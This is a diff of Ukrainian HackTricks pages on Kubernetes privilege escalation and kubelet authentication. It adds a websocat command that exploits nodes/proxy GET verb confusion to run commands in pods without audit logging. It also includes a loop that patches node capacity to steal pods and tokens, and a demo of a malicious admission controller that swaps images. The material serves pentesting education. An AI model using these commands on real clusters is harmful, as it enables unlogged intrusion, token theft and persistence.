**виконувати код на подах** через Kubelet API (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про аутентифікацію Kubelet на цій сторінці: +Принципали з доступом до підресурсу **`nodes/proxy`** можуть **виконувати код у pods** через Kubelet API (згідно з [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про автентифікацію Kubelet на цій сторінці: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -У вас є приклад того, як отримати [**RCE, спілкуючись з авторизованим Kubelet API тут**](../pentesting-kubernetes-services/index.html#kubelet-rce). +#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -### Видалення подів + незаплановані вузли +- Kubelet відображає HTTP-методи на RBAC-дієслова **перед** оновленням протоколу. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`. +- `/exec`, `/run`, `/attach`, та `/portforward` явно не відображені й потрапляють у стандартний підресурс **`proxy`**, тож питання авторизації стає **`can get nodes/proxy?`** +- Якщо токен має лише **`nodes/proxy` + `get`**, прямий доступ WebSocket до kubelet на `https://:10250` дозволяє виконувати довільні команди в будь-якому pod на цій ноді. Той самий запит через шлях проксі API server (`/api/v1/nodes//proxy/exec/...`) відхиляється, оскільки це звичайний HTTP POST і відображається на `create`. +- Kubelet не виконує вторинну авторизацію після оновлення до WebSocket; оцінюється лише початковий GET. -Принципали, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони **виконувалися** на **зламаному** **вузлі**, і атакуючий може **вкрасти токени** з цих подів. +**Прямий експлойт (потребує мережевої досяжності до kubelet та токена з `nodes/proxy` GET):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- Використовуйте **Node IP**, а не ім'я вузла. Такий самий запит з `curl -X POST` буде **Forbidden**, оскільки він відповідає `create`. +- Прямий доступ до kubelet оминає API server, тому AuditPolicy показує лише `subjectaccessreviews` від kubelet user agent і **не реєструє команди `pods/exec`**. +- Перелічіть уражені service accounts за допомогою [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a), щоб знайти токени, обмежені до `nodes/proxy` GET. + +### Видалення pods + unschedulable nodes + +Суб'єкти, які можуть **видаляти pods** (`delete` verb over `pods` resource), або **evict pods** (`create` verb over `pods/eviction` resource), або **змінювати статус pod** (доступ до `pods/status`) та можуть **зробити інші nodes недоступними для планування** (доступ до `nodes/status`) або **видаляти nodes** (`delete` verb over `nodes` resource) і контролюють pod, можуть **викрасти pods з інших nodes**, щоб ті **виконувалися** на **скомпрометованому** **node**, і зловмисник може **викрасти токени** з цих pods. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -641,43 +659,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Стан сервісів (CVE-2020-8554) +### Services status (CVE-2020-8554) -Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам з ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Принципали, які можуть **змінювати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб використати **unfixed CVE-2020-8554** та запустити **MiTM атаки проти кластера**. Більшість пом'якшень для CVE-2020-8554 лише запобігають ExternalIP services (відповідно до [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). -### Стан вузлів і подів +### Nodes and Pods status -Принципали з **`update`** або **`patch`** дозволами над `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування. +Суб'єкти з правами **`update`** або **`patch`** над `nodes/status` або `pods/status` можуть змінювати мітки, щоб вплинути на застосовані обмеження планування. -## Вбудоване запобігання ескалації привілеїв +## Built-in Privileged Escalation Prevention -Kubernetes має [вбудований механізм](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) для запобігання ескалації привілеїв. +Kubernetes має [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) для запобігання privilege escalation. -Ця система забезпечує, що **користувачі не можуть підвищити свої привілеї, модифікуючи ролі або прив'язки ролей**. Виконання цього правила відбувається на рівні API, забезпечуючи захист навіть коли авторизатор RBAC неактивний. +Ця система гарантує, що **users cannot elevate their privileges by modifying roles or role bindings**. Застосування цього правила відбувається на рівні API, забезпечуючи захист навіть коли RBAC authorizer неактивний. -Правило stipulates, що **користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль**. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим самим простором імен (або на рівні кластера) для Roles. +Правило встановлює, що **user can only create or update a role if they possess all the permissions the role comprises**. Крім того, область існуючих дозволів користувача має відповідати області ролі, яку він намагається створити або змінити: або на рівні кластера для ClusterRoles, або обмеженою до того самого namespace (або на рівні кластера) для Roles. > [!WARNING] -> Існує виняток з попереднього правила. Якщо принципал має **дію `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і кластерних ролей, навіть не маючи самих дозволів. +> Існує виняток з попереднього правила. Якщо у принципала є **verb `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і clusterroles навіть не маючи цих дозволів самостійно. -### **Отримати та модифікувати RoleBindings/ClusterRoleBindings** +### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що й у попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.** +> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** -Привілей створювати Rolebindings дозволяє користувачу **прив'язувати ролі до облікового запису служби**. Цей привілей може потенційно призвести до ескалації привілеїв, оскільки **дозволяє користувачу прив'язувати адміністративні привілеї до скомпрометованого облікового запису служби.** +Привілей створювати Rolebindings дозволяє користувачу **bind roles to a service account**. Цей привілей потенційно може призвести до privilege escalation, оскільки він **дозволяє користувачу прив'язати admin privileges до скомпрометованого service account.** -## Інші атаки +## Other Attacks -### Додаток проксі-сайдкара +### Sidecar proxy app -За замовчуванням у комунікації між подами немає жодного шифрування. Взаємна аутентифікація, двостороння, под до пода. +За замовчуванням немає шифрування в комунікації між pods. Відсутня двостороння (mutual) автентифікація pod-to-pod. -#### Створити додаток проксі-сайдкара +#### Create a sidecar proxy app -Контейнер-сайдкар складається просто з додавання **другого (або більше) контейнера всередині пода**. +Sidecar container полягає просто у додаванні **другого (або більше) контейнера всередині pod**. -Наприклад, наступне є частиною конфігурації пода з 2 контейнерами: +Наприклад, нижче — частина конфігурації pod з 2 контейнерами: ```yaml spec: containers: @@ -687,15 +705,15 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Наприклад, щоб створити бекдор для існуючого пода з новим контейнером, ви можете просто додати новий контейнер у специфікацію. Зверніть увагу, що ви можете **надати більше прав** другому контейнеру, яких не буде у першого. +Наприклад, щоб backdoor існуючий pod новим container, ви можете просто додати новий container у specification. Зверніть увагу, що ви можете **надати більше прав** другому container'у, яких перший не матиме. -Більше інформації на: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Детальніше: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Зловмисний контролер доступу +### Зловмисний Admission Controller -Контролер доступу **перехоплює запити до API-сервера Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **та авторизовано**. +Admission controller **перехоплює запити до Kubernetes API server** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **і авторизовано**. -Якщо зловмиснику вдасться **впровадити контролер доступу для мутації**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а також зазвичай зберігатися в кластері. +Якщо зловмиснику якимось чином вдасться **впровадити Mutation Admission Controller**, він зможе **змінювати вже аутентифіковані запити**. Це може потенційно призвести до privesc, а частіше — дозволити персистувати в кластері. **Приклад з** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -704,30 +722,30 @@ cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` -Перевірте статус, щоб дізнатися, чи готовий він: +Перевірте статус, щоб дізнатися, чи готово: ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -Тоді розгорніть новий pod: +Потім розгорніть новий pod: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Коли ви бачите помилку `ErrImagePull`, перевірте ім'я зображення за допомогою одного з запитів: +Коли ви бачите помилку `ErrImagePull`, перевірте ім'я образу за допомогою одного з запитів: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Як ви можете бачити на зображенні вище, ми намагалися запустити образ `nginx`, але в кінцевому підсумку виконаний образ - `rewanthtammana/malicious-image`. Що тільки що сталося!!? +Як видно на зображенні вище, ми намагалися запустити образ `nginx`, але в результаті було виконано образ `rewanthtammana/malicious-image`. Що тільки що сталося!? -#### Технічні деталі +#### Технічні подробиці -Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати: +Скрипт `./deploy.sh` встановлює mutating webhook admission controller, який змінює запити до Kubernetes API відповідно до рядків його конфігурації, впливаючи на спостережувані результати: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -735,9 +753,9 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -Вищенаведений фрагмент замінює перше зображення контейнера в кожному поді на `rewanthtammana/malicious-image`. +The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`. -## OPA Gatekeeper обход +## OPA Gatekeeper bypass {{#ref}} ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md @@ -745,18 +763,18 @@ Value: "rewanthtammana/malicious-image", ## Найкращі практики -### **Вимкнення автоматичного монтування токенів облікових записів служби** +### **Вимкнення автоматичного монтування токенів Service Account** -- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування. -- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6. +- **Pods and Service Accounts**: За замовчуванням pods монтують токен service account. Щоб підвищити безпеку, Kubernetes дозволяє вимкнути цю функцію автоматичного монтування. +- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації service accounts або pods починаючи з версії Kubernetes 1.6. ### **Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings** -- **Селективне включення**: Переконайтеся, що лише необхідні користувачі включені в RoleBindings або ClusterRoleBindings. Регулярно перевіряйте та видаляйте нерелевантних користувачів для підтримки високої безпеки. +- **Вибіркове включення**: Переконайтеся, що в RoleBindings або ClusterRoleBindings включені лише необхідні користувачі. Регулярно проводьте аудит і видаляйте непотрібних користувачів для підтримки суворої безпеки. -### **Ролі, специфічні для простору імен, замість ролей для кластера** +### **Ролі, обмежені namespace, замість ролей на рівні кластера** -- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів. +- **Roles vs. ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для namespace, замість ClusterRoles і ClusterRoleBindings, які застосовуються по всьому кластеру. Такий підхід дає більш точний контроль і обмежує зону дії дозволів. ### **Використовуйте автоматизовані інструменти** @@ -779,5 +797,8 @@ https://github.com/aquasecurity/kube-bench - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index 041e8ea99..1ff02208b 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,25 +1,25 @@ -# Аутентифікація та авторизація Kubelet +# Аутентифікація та авторизація kubelet {{#include ../../../banners/hacktricks-training.md}} -## Аутентифікація Kubelet +## Аутентифікація kubelet -[**З документації:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**З документа:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -За замовчуванням запити до HTTPS-інтерфейсу kubelet, які не відхилені іншими налаштованими методами аутентифікації, розглядаються як анонімні запити і отримують **ім'я користувача `system:anonymous`** та **групу `system:unauthenticated`**. +За замовчуванням запити до HTTPS-ендпоінта kubelet, які не відхиляються іншими налаштованими методами аутентифікації, вважаються анонімними запитами і отримують **ім'я користувача `system:anonymous`** та **групу `system:unauthenticated`**. -**3** методи **аутентифікації**: +Існує **3** методи аутентифікації: -- **Анонімний** (за замовчуванням): Використовуйте параметр **`--anonymous-auth=true` або конфігурацію:** +- **Anonymous** (за замовчуванням): встановіть параметр **`--anonymous-auth=true` або в конфігурації:** ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Це **дозволить** токени **API bearer** kubectl як авторизацію (будь-який дійсний токен буде дійсним). Дозвольте це з: -- переконайтеся, що група API `authentication.k8s.io/v1beta1` увімкнена на сервері API -- запустіть kubelet з прапорами **`--authentication-token-webhook`** та **`--kubeconfig`** або використайте наступне налаштування: +- **Webhook**: Це дозволить **увімкнути** kubectl **API bearer tokens** як авторизацію (будь-який дійсний токен буде прийнятий). Дозвольте це за допомогою: +- переконайтеся, що група API `authentication.k8s.io/v1beta1` увімкнена в API-сервері +- запустіть kubelet з флагами **`--authentication-token-webhook`** та **`--kubeconfig`** або використайте наступну настройку: ```json "authentication": { "webhook": { @@ -28,11 +28,10 @@ }, ``` > [!NOTE] -> Kubelet викликає **`TokenReview` API** на налаштованому API сервері, щоб **визначити інформацію про користувача** з токенів доступу - -- **X509 клієнтські сертифікати:** Дозволяють аутентифікацію через X509 клієнтські сертифікати -- дивіться [документацію з аутентифікації apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) для отримання додаткової інформації -- запустіть kubelet з прапором `--client-ca-file`, надаючи пакет CA для перевірки клієнтських сертифікатів. Або з конфігурацією: +> kubelet звертається до **`TokenReview` API** на налаштованому API-сервері, щоб **визначити інформацію про користувача** з bearer tokens +- **X509 client certificates:** Дозволяють автентифікуватися за допомогою X509 client certs +- дивіться [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) для детальнішої інформації +- запустіть kubelet з прапорцем `--client-ca-file`, надаючи CA bundle для перевірки client certificates. Або з конфігурацією: ```json "authentication": { "x509": { @@ -40,16 +39,16 @@ } } ``` -## Kubelet Authorization +## Авторизація Kubelet -Будь-який запит, який успішно аутентифікований (включаючи анонімний запит) **потім авторизується**. **За замовчуванням** режим авторизації - **`AlwaysAllow`**, який **дозволяє всі запити**. +Будь-який запит, який успішно автентифіковано (включно з анонімним запитом), **потім авторизується**. За замовчуванням режим авторизації — **`AlwaysAllow`**, який **дозволяє всі запити**. -Однак інше можливе значення - **`webhook`** (що ви **в основному будете знаходити там**). Цей режим **перевіряє дозволи аутентифікованого користувача** для дозволу або заборони дії. +Однак іншим можливим значенням є **`webhook`** (саме це ви **найчастіше зустрінете**). Цей режим **перевіряє права автентифікованого користувача**, щоб дозволити або заборонити виконання дії. > [!WARNING] -> Зверніть увагу, що навіть якщо **анонімна аутентифікація увімкнена**, **анонімний доступ** може **не мати жодних дозволів** для виконання будь-якої дії. +> Зверніть увагу, що навіть якщо **анонімна автентифікація увімкнена**, **анонімний доступ** може **не мати жодних прав** для виконання жодної дії. -Авторизація через webhook може бути налаштована за допомогою **параметра `--authorization-mode=Webhook`** або через конфігураційний файл з: +Авторизацію через webhook можна налаштувати за допомогою параметра **`--authorization-mode=Webhook`** або через файл конфігурації за допомогою: ```json "authorization": { "mode": "Webhook", @@ -59,41 +58,45 @@ } }, ``` -Kubelet викликає **`SubjectAccessReview`** API на налаштованому API сервері, щоб **визначити**, чи кожен запит є **авторизованим.** +Kubelet викликає API **`SubjectAccessReview`** на налаштованому API-сервері, щоб **визначити**, чи кожен запит **авторизований.** -Kubelet авторизує API запити, використовуючи той же підхід [атрибутів запиту](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes), що й apiserver: +Kubelet авторизує API-запити, використовуючи той самий підхід [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes), що й apiserver: -- **Дія** +- **Action** | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (для окремих ресурсів), list (для колекцій, включаючи повний вміст об'єкта), watch (для спостереження за окремим ресурсом або колекцією ресурсів) | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (для окремих ресурсів), deletecollection (для колекцій) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- **Ресурс**, що взаємодіє з Kubelet API, **завжди** **вузли**, а **субресурс** **визначається** з шляху вхідного запиту: +- Ресурс, який опрацьовує Kubelet API, завжди — **nodes**, а **subresource** визначається з шляху вхідного запиту: -| Kubelet API | ресурс | субресурс | -| ------------ | ------ | --------- | -| /stats/\* | вузли | stats | -| /metrics/\* | вузли | metrics | -| /logs/\* | вузли | log | -| /spec/\* | вузли | spec | -| _всі інші_ | вузли | proxy | +| Kubelet API | resource | subresource | +| ------------ | -------- | ----------- | +| /stats/\* | nodes | stats | +| /metrics/\* | nodes | metrics | +| /logs/\* | nodes | log | +| /spec/\* | nodes | spec | +| _all others_ | nodes | proxy | -Наприклад, наступний запит намагався отримати доступ до інформації про поди kubelet без дозволу: +> [!NOTE] +> Запити на основі WebSocket `/exec`, `/run`, `/attach`, and `/portforward` потрапляють у стандартний підресурс **proxy** і авторизуються з використанням початкового HTTP **GET** рукопотискання. Принципал, у якого є лише `nodes/proxy` **GET**, все одно може виконувати exec у контейнерах, якщо підключається безпосередньо до `https://:10250` через WebSockets. Див. the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) для деталей. + +Наприклад, наступний запит намагався отримати інформацію про pods kubelet без дозволу: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Ми отримали **Заборонено**, отже запит **пройшов перевірку автентифікації**. Якщо б ні, ми отримали б лише повідомлення `Неавторизовано`. -- Ми можемо бачити **ім'я користувача** (в даному випадку з токена) -- Перевірте, як **ресурсом** були **вузли**, а **субресурсом** **проксі** (що має сенс з попередньою інформацією) +- Ми отримали **Forbidden**, тому запит **passed the Authentication check**. Якби ні, ми б отримали лише повідомлення `Unauthorised`. +- Ми бачимо **username** (у цьому випадку з token) +- Зверніть увагу, як **resource** було **nodes** і **subresource** — **proxy** (що узгоджується з попередньою інформацією) -## References +## Посилання - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}